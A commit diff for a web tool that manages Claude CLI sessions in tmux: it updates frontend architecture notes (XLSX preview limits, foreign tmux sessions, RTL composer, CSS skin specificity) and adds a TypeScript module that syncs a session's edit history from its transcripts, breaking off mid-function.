it covers. ⚠️ That pass runs LAST, on the DOM, in both consumers (`_buildResponseViewerMessage`, `_renderFilePreviewText`), never in `_renderMarkdown` (its string must hold no `dir="auto"`) and never inside the linkifier (which returns early on a stale constants.js): an element already carrying `dir="auto"` re-resolves its direction on every insertion under it, so a code-only or path-only document went quadratic and a 200 KB list froze the tab for 40 s. ⚠️ The `.rv-text` block rules use logical properties (`padding-inline-start`, `border-inline-start`, `border-inline-end`, `text-align: start`, logical corner radii), never physical left and right, or an RTL block keeps its bullets and quote bar on the wrong side. The terminal pane is out of reach: xterm.js has no RTL support (xtermjs/xterm.js#701). Tests: `test/file-preview-markdown.test.ts`, `test/response-viewer-rtl.test.ts`. → [architecture-invariants#file-viewer-text-view-rendered-markdown-and-text-toggles](../../docs/architecture-invariants.md#file-viewer-text-view-rendered-markdown-and-text-toggles)
 
 **Spreadsheet preview (XLSX)** (`spreadsheet-preview.js` + `spreadsheet-preview-worker.js`; moved from File-path links in the root file): ⚠️ **XLSX previews parse in the BROWSER**, never on the server: `spreadsheet-preview.js` fetches the raw route with `?preview=true` (413 above `MAX_XLSX_BROWSER_PREVIEW_BYTES`, 10 MB) and hands the bytes to `spreadsheet-preview-worker.js`, the only place the pinned `exceljs`/`fflate` vendor bundles load (never on page load). `admitXlsx()` caps the ZIP before ExcelJS runs, counting what ExcelJS will EXPAND as well as what it reads (a merge costs its area, a `<col>` past 16384 is refused, validations are never parsed via `ignoreNodes`, and defined names are never expanded: the worker stubs `_definedNames.model`). ⚠️ The INDEX a row or sheet claims is bounded too, since ExcelJS allocates and walks up to it: a `<row r>` outside 1-1048576 and an `xl/workbook.xml` `<sheet sheetId>` above `LIMITS.maxSheetId` (65535) are refused, and `sendTile` reuses the merges read at load (`mergesById`), never `sheet.model`, which rebuilds the whole sheet. ⚠️ The COLUMN index costs the same way (a row's cells live at `_cells[col - 1]`, so one `XFD` cell makes ExcelJS's `eachRow`/`eachCell`/`hasValues` visit 16,384 slots per row): `worksheetMetadata` builds each sheet's row and cell index from the keys that exist (`Object.keys` of `_rows` and `_cells`, skipping falsy and `Null`-type cells as `eachCell({ includeEmpty: false })` does), reads row heights in that pass and merges from `sheet._merges`, and `sendTile` reads cells from that index (`populatedRowsById`); never call ExcelJS's dense `eachRow`/`eachCell` there. `parseThemePalette` returns the default palette for a theme above 64 KB (64 * 1024 characters), since its patterns are quadratic on unclosed tags. ⚠️ Merges are capped per sheet (`LIMITS.maxMergesPerSheet`, 2,000) AND workbook-wide (`LIMITS.maxMerges`, 10,000), refused as `merge-limit` before ExcelJS loads, since ExcelJS's `_mergeCellsInternal` checks each merge against every earlier one on its sheet (quadratic). Every `<numFmt>` in `xl/styles.xml` is read with `readTagAttributes()` and refused (`number-format`) when its decoded `formatCode` is over 255 characters or has a `[` after its last `]`: ExcelJS's `isDateFmt` rescans to the end of the code per unclosed `[` once per numeric cell, and the code is echoed into the notice bar. ⚠️ `formatCellValue` caps every cell's display text at `LIMITS.maxCellTextChars` (1,000, ellipsis, never splitting a surrogate pair) for every value shape (rich text, hyperlink text, formula source, errors), since structured clone copies each tile cell's whole string to the page and the load timeout no longer covers tiles. `richTextPrefix` also visits at most `maxCellTextChars + 1` runs, not only keeps that much text: an empty `<r/>` adds nothing, so a shared string of a million empty runs was walked whole per cell, per tile (56 s a tile). ⚠️ Every part ExcelJS parses (all but the pure-bytes `xl/media/<name>.<ext>`) is also charged per START TAG against `LIMITS.maxElements` (2,000,000, refused as `element-limit`): ExcelJS builds an object per element in sharedStrings, styles, comments, drawings, VML and tables too, and empty stored blocks pad a deflate stream past the ratio cap, so 8.3M empty `<r/>` runs in a 375 KB file cost 570 MB of heap. ⚠️ Admission keys every entry on the name ExcelJS will SEE (`excelJsEntryName()`: JSZip's `.`/`..`/empty-segment resolution, then one leading `/` stripped), refuses two entries that land on one name, and treats anything matching ExcelJS's UNANCHORED `xl/worksheets/sheet<N>.xml` as a worksheet, so `/xl/...` or `xl/./...` cannot skip a counter, and ExcelJS parses only a STORE-only archive rebuilt from the entries admission inflated (`buildAdmittedArchive()`), never the fetched bytes; cell text goes through `textContent`, formulas are never evaluated. Bumping either package or editing the worker/core changes `SPREADSHEET_ASSET_VERSION`, which `npm run check:public-assets` pins. xls/ods stay download-only.
 
@@ -46,6 +46,8 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
 
 **Desktop home tab rail** (`home-sessions.js`, desktop only): the welcome overlay's left gutter carries the open tabs as a rail docked flush left, full height, in overview order, each row showing `created … · <state> <duration>` from `_mobileOverviewSince()`; state classification is reused from mobile-overview.js (so it loads after it). ⚠️ The number badge is the Alt+1..9 tab-strip index, never renumber it to row position. ⚠️ The width gate lives in two places that must stay equal: `HOME_SESSIONS_MIN_WIDTH` (1180) and a `max-width: 1179px` media query. ⚠️ `.home-sessions[hidden]` must re-assert `display: none`. ⚠️ Size all children in `em` off the one `clamp()` knob, never `rem`/px. Age stamps tick in place (`_tickHomeSessionsTimes()`), never by re-render. Test: `test/home-sessions.test.ts`. → [architecture-invariants#desktop-home-tab-rail](../../docs/architecture-invariants.md#desktop-home-tab-rail)
 
+**Opened outside Codeman** (`foreign-sessions.js`, both home screens): the tmux sessions a human started, listed from `GET /api/mux/foreign` (root CLAUDE.md, Adopted tmux sessions). ONE renderer, `renderForeignSessions(container)`, fills the welcome block and the phone overview's, and every row goes through `textContent`, since a session name and a command line come from someone else's process. ⚠️ It polls only while a home screen is up (`startForeignPolling`/`stopForeignPolling` from `showWelcome()`/`hideWelcome()`) and the tab is visible (`_foreignPollTick()` is the one gate, and `visibilitychange` catches up; the cache TTL sits under the poll interval, so one tab's every tick is a full socket sweep), and the poll is local only: the docker and ssh scan costs one connection per target, so it runs once on the toggle and again on Rescan, and its rows and notes are kept apart (`_foreignWideSessions`, `_foreignWideNotes`) or the next local poll would wipe them. ⚠️ A 403 is a non-admin in multi-user mode, an answer and not a failed poll: `_foreignRefused` stops the polling and shows no block. ⚠️ `closeSession()` re-reads the list after an adopted tab's DELETE, since the home screen's own load races it and the row would say `Go to tab` until the next poll. ⚠️ An adopted tab has no kill outcome to offer, so the close dialog hides the red button and always tears the wrapper down. ⚠️ `session.remote` and `session.docker` are undefined on an adopted session, so a check that hides a row for those two usually needs `session.adopt` as well. Tests: `test/foreign-sessions-ui.test.ts`, `test/foreign-sessions-i18n.test.ts` (harvests every string from the real module).
+
 **Home-screen session order** (`CodemanSessionOrder` in constants.js, pure): BOTH home screens (phone overview, desktop rail) must order rows through this ONE comparator. Rank `needs` → `error` → `waiting` → `working` → `idle` → `done`. ⚠️ The tiebreak flips: states a session is still IN sort oldest-first, states it has STOPPED sort newest-first. ⚠️ The running group keys off `lastSubmitAt`, never `lastActivityAt` (a working pane repaints constantly). ⚠️ A 0 stamp means unknown and sorts last within its state. Final tiebreak is `orderIndex`, so the list never shuffles. The tab strip itself is NOT sorted by this. Test: `test/session-overview-order.test.ts`. → [architecture-invariants#home-screen-session-order](../../docs/architecture-invariants.md#home-screen-session-order)
 
 **Welcome "Resume Conversation" list** (terminal-ui.js): `loadHistorySessions()` fetches once and caches the corpus on `_historyAll`/`_historyCases`; every subsequent view (filter box, sort select, expand, the periodic refresh in panels-ui.js) goes through `_renderHistoryList()`, so never append rows to `#historyList` directly or re-fetch to re-sort. ⚠️ The box height is **class-driven**: expanding the list without `.history-list.expanded` leaves the collapsed `max-height` in place and just deepens a scroll well, which is the bug #260 reported (35 sessions in a ~4-row box). ⚠️ The A–Z sort keys off `_historyRowLabel()`, the SAME string the row renders (`name || firstPrompt || path`), most rows are transcript-backed and have no session name, so sorting on `name` alone silently does nothing. ⚠️ A filter implies expansion, and `_renderSearch()` hides `#historyHeader` (title + controls) as one unit while a search is active. Tests: `test/history-list-controls.test.ts`.
@@ -72,7 +74,7 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
 
 **Shell keyboard accessory bar + one-shot Ctrl** (`keyboard-accessory.js`): a shell-mode session swaps the mobile accessory bar for terminal controls; `setMode()` records `extendedKeyboardBar` as the base layout and `refreshForActiveSession()` resolves base-vs-shell. ⚠️ Ctrl is a one-shot modifier applied in `terminal.onData` (after `shouldSuppressTerminalQueryResponse`, before every send path), and must skip `isTerminalFocusOrMouseReport()` chunks. ⚠️ It must disarm on use, second tap, any other accessory key, session switch, keyboard dismissal and layout swap. ⚠️ `_handleCjkInput()` must apply it too (the CJK textarea bypasses onData). Mapping: `ctrlByteFor()`. ⚠️ mobile.css's light-skin repaint must keep excluding `.accessory-btn:not(.armed)` or the armed state is invisible. → [architecture-invariants#shell-keyboard-accessory-bar-and-one-shot-ctrl](../../docs/architecture-invariants.md#shell-keyboard-accessory-bar-and-one-shot-ctrl)
 
-**Mobile prompt composer** (`keyboard-accessory.js`): the agent bars' Paste key is **Compose**, a native multiline dialog where only **Send** submits (the shell bar keeps plain Paste). Opening it adopts the whole terminal prompt (`_takePendingLocalEcho`), erasing the flushed prefix with backspaces counted in code points. ⚠️ Drafts are per-session and in memory only (`_composerDrafts`), never persisted (prompts carry secrets). ⚠️ Delivery is a hand-built bracketed-paste frame via `_sendInputAsync` WITHOUT `useMux`, then a separate delayed Enter WITH it; never `terminal.paste()`, and the frame must never take the mux fallback (`TmuxManager.sendInput()` strips every `\r`, the frame's line separator, so the lines weld into one inside a second pair of markers and get submitted). ⚠️ `_composerMaxLength` must stay derived from `MAX_INPUT_LENGTH` minus the markers, or an oversized frame wedges the durable queue. ⚠️ The composer overlay needs its own gutter restatement after the fold rules. Test: `test/mobile-prompt-composer.test.ts`. → [architecture-invariants#mobile-prompt-composer](../../docs/architecture-invariants.md#mobile-prompt-composer)
+**Mobile prompt composer** (`keyboard-accessory.js`): the agent bars' Paste key is **Compose**, a native multiline dialog where only **Send** submits (the shell bar keeps plain Paste). Opening it adopts the whole terminal prompt (`_takePendingLocalEcho`), erasing the flushed prefix with backspaces counted in code points. ⚠️ Drafts are per-session and in memory only (`_composerDrafts`), never persisted (prompts carry secrets). ⚠️ Delivery is a hand-built bracketed-paste frame via `_sendInputAsync` WITHOUT `useMux`, then a separate delayed Enter WITH it; never `terminal.paste()`, and the frame must never take the mux fallback (`TmuxManager.sendInput()` strips every `\r`, the frame's line separator, so the lines weld into one inside a second pair of markers and get submitted). ⚠️ `_composerMaxLength` must stay derived from `MAX_INPUT_LENGTH` minus the markers, or an oversized frame wedges the durable queue. ⚠️ The composer overlay needs its own gutter restatement after the fold rules. The textarea carries `dir="auto"`, so a prompt written in Persian, Arabic or Hebrew lays out right to left from its first letter (#715). Test: `test/mobile-prompt-composer.test.ts`. → [architecture-invariants#mobile-prompt-composer](../../docs/architecture-invariants.md#mobile-prompt-composer)
 
 **Terminal resilience**: a replay clear is the queued in-stream `\x1bc` in `_resetTerminalForReplay()`, never `reset()`/`clear()` (queued bytes fuse into the snapshot); the renderer watchdog `_kickRenderer()` reads xterm privates, pinned by `test/xterm-private-api.test.ts` against the resolved lockfile version; every terminal capture fetch has a deadline that covers the BODY (`_fetchTerminalCapture`). → [architecture-invariants#terminal-resilience-replay-clears-renderer-liveness-fetch-deadlines](../../docs/architecture-invariants.md#terminal-resilience-replay-clears-renderer-liveness-fetch-deadlines)
 
@@ -84,7 +86,7 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
 
 ⚠️ **`sendEnterKey()` MUST go through `terminal._core.coreService.triggerDataEvent('\r', true)`** — not `sendInput()`, and never a raw POST to `/api/sessions/:id/input`. `localEchoEnabled` defaults to `MobileDetection.isTouchDevice()`, so on every phone the characters you type are buffered in the `LocalEchoOverlay` and have **never reached the PTY**; the `onData` Enter branch in terminal-ui.js is what flushes `pendingText` first and only then sends `\r` (after an 80ms delay so text lands first). Sending a bare `\r` submits an empty line and strands the typed text on screen, so the button looks dead. Replaying the keypress reuses the overlay flush, the flushed-offset cleanup and the ordering instead of reimplementing them. `KeyboardAccessory.sendKey()` is for escape sequences (arrows/Esc) and is the WRONG template to copy for input.
 
-⚠️ **Skin overrides outrank plain class rules.** `styles.css` nests its skin block inside `html:not([data-skin="og"]) { … }`, so a bare `.btn-toolbar` rule in there resolves to specificity **(0,2,1)** and beats a `.btn-toolbar.btn-x` rule **(0,2,0)** in `mobile.css` regardless of load order. Toolbar-button colors set from mobile.css therefore need `!important` — that is why mobile.css leans on it so heavily. Symptom: only your `!important` properties land and everything else silently renders in generic toolbar grey.
+⚠️ **Skin overrides outrank plain class rules.** `styles.css` nests its skin block inside `html:not([data-skin="og"]) { … }`, so a bare `.btn-toolbar` rule in there resolves to specificity **(0,2,1)** and beats a `.btn-toolbar.btn-x` rule **(0,2,0)** in `mobile.css` regardless of load order. Toolbar-button colors set from mobile.css therefore need `!important`: that is why mobile.css leans on it so heavily. Symptom: only your `!important` properties land and everything else silently renders in generic toolbar grey. Press feedback on the phone bars sidesteps this: the `:active` rules for `.btn-toolbar`, the mobile icon buttons and `.accessory-btn` (mobile.css) use `transform` and `filter` only, which nothing on these buttons sets at a higher specificity, so one rule reads the same on every skin; a background `:active` lost to the skin block on all but og, and an inset `box-shadow` lost to the skin hover rules, which is why neither is used. The light skins darken instead of brightening, and `prefers-reduced-motion` drops the scale.
 
 **Connection-loss UI** (`computeConnectionLossUi()` in constants.js, writer `_updateConnectionLossUi()` in app.js): the service worker serves the cached app shell, so an unreachable server (phone off the tailnet, VPN down, server stopped) used to render a normal-looking empty dashboard whose only tell was the 8px header dot, which reads as "no sessions", not "no connection". Two surfaces now: a full-screen **overlay** while no server state has loaded this page load (nothing behind it is worth preserving), and a non-blocking **banner** once it has (the terminal scrollback stays readable). ⚠️ A **2.5s grace** is load-bearing: a COM deploy restarts the server and SSE is back in ~200ms, and a banner on every deploy trains the user to ignore it. `navigator.onLine === false` skips the grace, since that is never a blip. Retry re-arms SSE **and** the terminal WS (`planWsReconnect` can 'give-up', and the SSE backoff caps at 30s).
 

src/web/case-path.ts

@@ -60,6 +60,8 @@ export interface NewCasePathContext {
    * listed as a local case, so it must not be registered as a linked one too.
    */
   casesDirs?: readonly string[];
+  /** What to do instead when the path is the cases folder or directly in it. Defaults to Create New's wording. */
+  casesDirAdvice?: string;
 }
 
 export type NewCasePathResult =
@@ -106,10 +108,10 @@ export function blockedReason(
   // refusing everything below it blocked most of the tree.
   for (const dir of ctx.casesDirs ?? []) {
     if (absPath === dir) {
-      return `That is the cases folder itself (${dir}); create a case inside it with plain Create New (no custom folder)`;
+      return `That is the cases folder itself (${dir}); ${ctx.casesDirAdvice ?? 'create a case inside it with plain Create New (no custom folder)'}`;
     }
     if (dirname(absPath) === dir) {
-      return `That folder is directly in the cases folder (${dir}), where it is listed as a local case; create it there with plain Create New (no custom folder)`;
+      return `That folder is directly in the cases folder (${dir}), where it is listed as a local case; ${ctx.casesDirAdvice ?? 'create it there with plain Create New (no custom folder)'}`;
     }
   }
   return null;
@@ -132,7 +134,7 @@ async function resolvedPolicy(ctx: NewCasePathContext): Promise<[NewCasePathCont
     Promise.all((ctx.casesDirs ?? []).map(realpathOr)),
     Promise.all(BLOCKED_SYSTEM_ROOTS.map(realpathOr)),
   ]);
-  return [{ home, dataDir, casesDirs }, systemRoots];
+  return [{ home, dataDir, casesDirs, casesDirAdvice: ctx.casesDirAdvice }, systemRoots];
 }
 
 /**

src/web/edit-history-sync.ts

@@ -0,0 +1,539 @@
+/**
+ * @fileoverview Reads a claude session's edit history on request: the new bytes of its
+ * transcripts (main + subagents) go into its `EditHistoryStore`, and the Bash image
+ * candidates that came with them are confirmed against the files on disk.
+ *
+ * WHEN. Only when the panel asks (`GET …/edits?sync=1` on open and while it follows the
+ * session, `POST …/edits/older`): no timer, no hook, no background read for sessions nobody
+ * looks at. One sync per session runs at a time; requests during a run are folded into one
+ * more forward read and/or one more older read afterwards.
+ *
+ * HOW MUCH. A forward read shares one budget over all files, main first. A file whose chunk
+ * the shared budget cut short is not applied (the store would take a chunk with no line end
+ * for a line longer than the budget) but read in the next pass; up to
+ * {@link MAX_FORWARD_PASSES} passes per sync, the rest with the next one.
+ *
+ * NEW CONVERSATION. When the transcript path names another conversation (`/clear`, resume),
+ * the previous transcript (same directory) is first read to its end, so edits it got after
+ * the last read are not lost with its cursors; then the new one is read from its end.
+ * "Load older" reaches back within the current conversation only.
+ *
+ * MEMORY. At most {@link MAX_LOADED_STORES} stores stay loaded; past that the least recently
+ * used one without a run is written (if it changed) and dropped, and loaded again on demand.
+ *
+ * GONE. `remove()` (the session's record is deleted) marks the session gone, deletes the file
+ * and then drops the session's slot: a run in flight stops after its current read and its
+ * store no longer writes; a request during the removal reads nothing (`unavailable`, reason
+ * `removed`). A session that comes back with the same id (reboot restore) starts afresh.
+ * `sweep()` deletes, at startup, the stored history of sessions that no longer exist. A
+ * subagent transcript that vanished loses its cursor (`dropSource`), not its entries.
+ *
+ * OLDER. "Load older" reads a full budget block of up to {@link MAX_OLDER_SOURCES} sources
+ * with older lines per click; with more sources they take turns.
+ *
+ * WHICH SESSIONS. Claude sessions, local and remote. Docker and non-claude sessions answer
+ * `unsupported` and are never read. The deps get the session and read a remote one over ssh
+ * (`remote-files.ts`): one round trip to find its transcript, one per read (more for a
+ * conversation with hundreds of subagents). A remote read never wakes its host; a sleeping one
+ * is a connect timeout (`unavailable`, stored entries kept).
+ *
+ * IMAGES. A Bash candidate counts only when the file's mtime lies in the call's window
+ * (start − 2 s … end + 2 s), so `ls *.png` lists nothing. Transcript times and mtimes come
+ * from the same host, so a remote host's clock skew to this server does not matter.
+ *
+ * Tests: `test/edit-history-sync.test.ts`.
+ *
+ * @module web/edit-history-sync
+ */
+
+import { basename, dirname, join } from 'node:path';
+import type { SessionRemote } from '../types/session.js';
+import type { EditSourceReadOptions, EditSourceRequest, EditSources, PathProbe } from '../edit-history-local-source.js';
+import type { ImageCandidate } from '../edit-history-parse.js';
+import { EditHistoryStore, READ_BUDGET_BYTES, type ConfirmedImage } from '../edit-history-store.js';
+import { getCli } from '../config/cli-registry/registry.js';
+
+/** Slack around a Bash call's window for the image mtime check. */
+export const IMAGE_MTIME_SLACK_MS = 2000;
+/** Forward passes per sync when files grew by more than one budget. */
+export const MAX_FORWARD_PASSES = 3;
+/** Sources read back per "Load older" click, a full budget each. */
+export const MAX_OLDER_SOURCES = 3;
+/** Stores kept in memory; the least recently used one past this is dropped. */
+export const MAX_LOADED_STORES = 3;
+/** `reason` when the session has no transcript yet (no prompt yet, or not found). */
+export const NO_TRANSCRIPT = 'no-transcript';
+/** `reason` once the session's history was deleted. */
+export const REMOVED = 'removed';
+
+export type EditHistoryState = 'ok' | 'unavailable' | 'unsupported';
+
+export interface EditHistoryStatus {
+  state: EditHistoryState;
+  reason?: string;
+}
+
+/** The slice of a session this needs. */
+export interface EditHistorySession {
+  id: string;
+  mode: string;
+  remote: SessionRemote | undefined;
+  docker?: unknown;
+  /** Set on a wrapper around a foreign tmux session: Codeman holds no transcript id for what runs there. */
+  adopt?: unknown;
+  claudeSessionId: string | null;
+  /** The session's own `CLAUDE_CONFIG_DIR` (Codeman env override), if it has one. */
+  claudeConfigDir?: string;
+}
+
+export interface EditHistorySyncDeps {
+  /**
+   * The session's main transcript path, or null when it has none yet. `storedTranscriptId` is
+   * the conversation the stored history holds (null before the first read); see
+   * {@link remoteTranscriptIds}.
+   */
+  transcriptPath(session: EditHistorySession, storedTranscriptId: string | null): Promise<string | null>;
+  /** The session's transcripts (a remote session's on its host). */
+  readSources(
+    session: EditHistorySession,
+    mainPath: string,
+    requests: readonly EditSourceRequest[],
+    budget: number,
+    opts?: EditSourceReadOptions
+  ): Promise<EditSources | null>;
+  /** Bash image candidates of the session, on the host it runs on. */
+  probe(session: EditHistorySession, paths: readonly string[]): Promise<Array<PathProbe | null>>;
+  loadStore(sessionId: string): Promise<EditHistoryStore>;
+  /** Delete a session's stored history without loading it. */
+  deleteStore(sessionId: string): Promise<void>;
+  /** Delete the stored history of every session `keep` rejects; returns how many. */
+  sweepStores(keep: (sessionId: string) => boolean): Promise<number>;
+  budget?: number;
+}
+
+export interface SyncOptions {
+  older?: boolean;
+}
+
+/**
+ * The conversation ids a REMOTE session's transcript lookup considers when its claude writes
+ * none now; the most recently written of them wins (`buildRemoteClaudeTranscriptLocateCommand`).
+ * The stored history's conversation must be among them: no hook tells Codeman of a remote
+ * `/clear`, so `claudeSessionId` stays the launch id, and without the stored one the panel
+ * would flip back to the cleared conversation as soon as the remote claude exits.
+ */
+export function remoteTranscriptIds(session: EditHistorySession, storedTranscriptId: string | null): string[] {
+  return [...new Set([storedTranscriptId, session.claudeSessionId || session.id, session.id])].filter(
+    (id): id is string => !!id
+  );
+}
+
+/** Why a session has no edit history, or undefined when it can have one. */
+export function unsupportedReason(session: EditHistorySession): string | undefined {
+  if (session.docker) return 'docker';
+  if (session.adopt) return 'adopted';
+  if (getCli(session.mode)?.capabilities.transcript !== 'claude-jsonl') return 'mode';
+  return undefined;
+}
+
+/** One turn of the event loop, between synchronous parses of up to one budget each. */
+function breathe(): Promise<void> {
+  return new Promise((resolve) => setImmediate(resolve));
+}
+
+/**
+ * Bash candidates whose probed file is a regular file with an mtime inside the call's window
+ * (files claude sent to the user skip the window: they exist and were shown on purpose).
+ * A candidate whose file version is already recorded is skipped: `known(path)` is the newest
+ * entry time for that path, and an entry at or after `mtime − slack` saw this version: the
+ * `ls *.png` right after the render, or a Write followed by a listing. Candidates are taken
+ * in call order so a batch dedupes itself the same way.
+ */
+export function confirmImages(
+  candidates: readonly ImageCandidate[],
+  probe: (path: string) => PathProbe | null | undefined,
+  known: (path: string) => number | undefined = () => undefined
+): ConfirmedImage[] {
+  const out: ConfirmedImage[] = [];
+  const seen = new Map<string, number>();
+  for (const c of [...candidates].sort((a, b) => a.end - b.end)) {
+    for (const path of c.paths) {
+      const p = probe(path);
+      if (!p || p.kind !== 'file' || !p.mtimeMs) continue;
+      const inWindow = p.mtimeMs >= c.start - IMAGE_MTIME_SLACK_MS && p.mtimeMs <= c.end + IMAGE_MTIME_SLACK_MS;
+      if (!c.sent && !inWindow) continue;
+      const entryPath = path.startsWith('~/') ? p.realPath : path;
+      const last = Math.max(seen.get(entryPath) ?? -Infinity, known(entryPath) ?? -Infinity);
+      if (last >= p.mtimeMs - IMAGE_MTIME_SLACK_MS) continue;
+      seen.set(entryPath, c.end);
+      const img: ConfirmedImage = {
+        toolUseId: c.toolUseId,
+        path: entryPath,
+        ts: c.end,
+        tool: c.sent ? 'sent' : 'bash',
+      };
+      if (c.agentId) img.agentId = c.agentId;
+      out.push(img);
+    }
+  }
+  return out;
+}
+
+interface SyncWant {
+  forward: boolean;
+  older: boolean;
+}
+
+interface SessionSlot {
+  store?: Promise<EditHistoryStore>;
+  status: EditHistoryStatus;
+  running?: Promise<void>;
+  again?: SyncWant;
+  /** The history was deleted: nothing reads for this session any more. */
+  gone?: boolean;
+  /** The last source the previous "Load older" read; the next one starts after it. */
+  olderAfter?: string;
+}
+
+export class EditHistorySync {
+  /** By session, least recently used first. */
+  private readonly slots = new Map<string, SessionSlot>();
+  /** Writes of dropped stores; loading that session again waits for its write. */
+  private readonly unloading = new Map<string, Promise<void>>();
+  private readonly budget: number;
+
+  constructor(private readonly deps: EditHistorySyncDeps) {
+    this.budget = deps.budget ?? READ_BUDGET_BYTES;
+  }
+
+  /** The session's store, loaded from disk on first use (one load for concurrent callers). */
+  getStore(sessionId: string): Promise<EditHistoryStore> {
+    return this.storeOf(sessionId, this.slot(sessionId));
+  }
+
+  getStatus(sessionId: string): EditHistoryStatus {
+    return { ...this.slot(sessionId).status };
+  }
+
+  /**
+   * Read what is new (or, with `older`, the next older block). Resolves when this
+   * request's run is done; never rejects. A call during a run queues one more run.
+   */
+  async sync(session: EditHistorySession, opts: SyncOptions = {}): Promise<EditHistoryStatus> {
+    const why = unsupportedReason(session);
+    const slot = this.slot(session.id);
+    if (slot.gone) return { ...slot.status };
+    if (why) {
+      slot.status = { state: 'unsupported', reason: why };
+      return { ...slot.status };
+    }
+    const want: SyncWant = { forward: !opts.older, older: !!opts.older };
+    if (slot.running) {
+      slot.again = {
+        forward: (slot.again?.forward ?? false) || want.forward,
+        older: (slot.again?.older ?? false) || want.older,
+      };
+      await slot.running;
+      // The queued run starts when the current one ends; wait for it too.
+      if (slot.running) await slot.running;
+      return { ...slot.status };
+    }
+    slot.running = this.runLoop(session, slot, want);
+    try {
+      await slot.running;
+    } finally {
+      slot.running = undefined;
+      this.unloadIdle(slot);
+    }
+    return { ...slot.status };
+  }
+
+  /** Write every loaded store's pending changes (server shutdown). */
+  async flushAll(): Promise<void> {
+    await Promise.all([
+      ...[...this.slots.values()].map(async (slot) => (await slot.store?.catch(() => undefined))?.settle()),
+      ...this.unloading.values(),
+    ]);
+  }
+
+  /**
+   * Delete a session's stored history (its record is gone). While it runs the session is
+   * marked, so a run in flight or a request meanwhile cannot load and write a new store for
+   * it; then its slot goes, and a session that comes back with this id starts afresh.
+   */
+  async remove(sessionId: string): Promise<void> {
+    const slot = this.slot(sessionId);
+    slot.gone = true;
+    slot.again = undefined;
+    slot.status = { state: 'unavailable', reason: REMOVED };
+    try {
+      const store = await slot.store?.catch(() => undefined);
+      if (store) {
+        await store.remove();
+      } else {
+        await this.unloading.get(sessionId);
+        await this.deps.deleteStore(sessionId);
+      }
+      await slot.running;
+    } finally {
+      if (this.slots.get(sessionId) === slot) this.slots.delete(sessionId);
+    }
+  }
+
+  /**
+   * Delete the stored history of sessions that no longer exist (startup: left behind by a
+   * crash during deletion, or by an older build). A session in use here is kept.
+   */
+  sweep(exists: (sessionId: string) => boolean): Promise<number> {
+    return this.deps.sweepStores((id) => this.slots.has(id) || exists(id));
+  }
+
+  /** The session's slot, now the most recently used. */
+  private slot(sessionId: string): SessionSlot {
+    const slot = this.slots.get(sessionId) ?? { status: { state: 'ok' } };
+    this.slots.delete(sessionId);
+    this.slots.set(sessionId, slot);
+    return slot;
+  }
+
+  private storeOf(sessionId: string, slot: SessionSlot): Promise<EditHistoryStore> {
+    if (!slot.store) {
+      const loading = (async () => {
+        await this.unloading.get(sessionId);
+        return this.deps.loadStore(sessionId);
+      })();
+      slot.store = loading;
+      loading.catch(() => {
+        if (slot.store === loading) slot.store = undefined;
+      });
+      this.unloadIdle(slot);
+    }
+    return slot.store;
+  }
+
+  /**
+   * Past {@link MAX_LOADED_STORES}, drop the least recently used stores no run uses: each is
+   * written if it changed, and a later request loads it again (after that write).
+   */
+  private unloadIdle(keep?: SessionSlot): void {
+    let loaded = 0;
+    for (const slot of this.slots.values()) if (slot.store) loaded++;
+    for (const [sessionId, slot] of this.slots) {
+      if (loaded <= MAX_LOADED_STORES) break;
+      if (!slot.store || slot.running || slot.gone || slot === keep) continue;
+      this.slots.delete(sessionId);
+      loaded--;
+      const writing: Promise<void> = slot.store
+        .then((store) => store.settle())
+        .catch((err) => {
+          console.warn(`[EditHistory] Saving the history of ${sessionId} failed:`, err);
+        })
+        .finally(() => {
+          if (this.unloading.get(sessionId) === writing) this.unloading.delete(sessionId);
+        });
+      this.unloading.set(sessionId, writing);
+    }
+  }
+
+  private async runLoop(session: EditHistorySession, slot: SessionSlot, want: SyncWant): Promise<void> {
+    let next: SyncWant | undefined = want;
+    while (next && !slot.gone) {
+      if (next.forward) await this.runOnce(session, slot, false);
+      if (next.older && !slot.gone) await this.runOnce(session, slot, true);
+      next = slot.again;
+      slot.again = undefined;
+    }
+  }
+
+  private async runOnce(session: EditHistorySession, slot: SessionSlot, older: boolean): Promise<void> {
+    let status: EditHistoryStatus;
+    try {
+      // This slot's store: a run still in flight after `remove()` cannot reach a later one.
+      const store = await this.storeOf(session.id, slot);
+      const path = slot.gone ? null : await this.deps.transcriptPath(session, store.getTranscriptId());
+      let found: boolean;
+      if (!path) {
+        found = false;
+      } else if (older) {
+        found = await this.readOlder(session, path, store, slot);
+      } else {
+        found = true;
+        for (let pass = 0; pass < MAX_FORWARD_PASSES && found && !slot.gone; pass++) {
+          const r = await this.readForward(session, path, store);
+          found = r.found;
+          if (!r.more) break;
+        }
+      }
+      status = found ? { state: 'ok' } : { state: 'unavailable', reason: NO_TRANSCRIPT };
+    } catch (err) {
+      status = { state: 'unavailable', reason: err instanceof Error ? err.message : String(err) };
+    }
+    if (!slot.gone) slot.status = status;
+  }
+
+  private forwardRequests(store: EditHistoryStore): EditSourceRequest[] {
+    const out: EditSourceRequest[] = [];
+    for (const relPath of store.knownSources()) {
+      const c = store.getCursor(relPath);
+      if (c) out.push({ relPath, offset: c.offset });
+    }
+    return out;
+  }
+
+  /**
+   * One forward read of all sources. `more` = some file has unread bytes after it, or was cut
+   * short by the shared budget and left for the next pass. A transcript other than the stored
+   * one (`/clear`, resume) is read like a first read, once the stored one is read to its end.
+   */
+  private async readForward(
+    session: EditHistorySession,
+    path: string,
+    store: EditHistoryStore
+  ): Promise<{ found: boolean; more: boolean }> {
+    const own = this.storedTranscript(path, store);
+    if (own !== path && store.knownSources().length > 0) {
+      const previous = await this.readFrom(session, own, store, this.forwardRequests(store));
+      if (previous.more) return { found: true, more: true };
+    }
+    return this.readFrom(session, path, store, own === path ? this.forwardRequests(store) : []);
+  }
+
+  /**
+   * The path of the conversation the store holds cursors for: `path` itself, or the previous
+   * conversation's transcript next to it (`/clear` and resume keep the project directory).
+   */
+  private storedTranscript(path: string, store: EditHistoryStore): string {
+    const known = store.getTranscriptId();
+    return known === null || basename(path) === `${known}.jsonl` ? path : join(dirname(path), `${known}.jsonl`);
+  }
+
+  private async readFrom(
+    session: EditHistorySession,
+    path: string,
+    store: EditHistoryStore,
+    requests: EditSourceRequest[]
+  ): Promise<{ found: boolean; more: boolean }> {
+    const res = await this.deps.readSources(session, path, requests, this.budget);
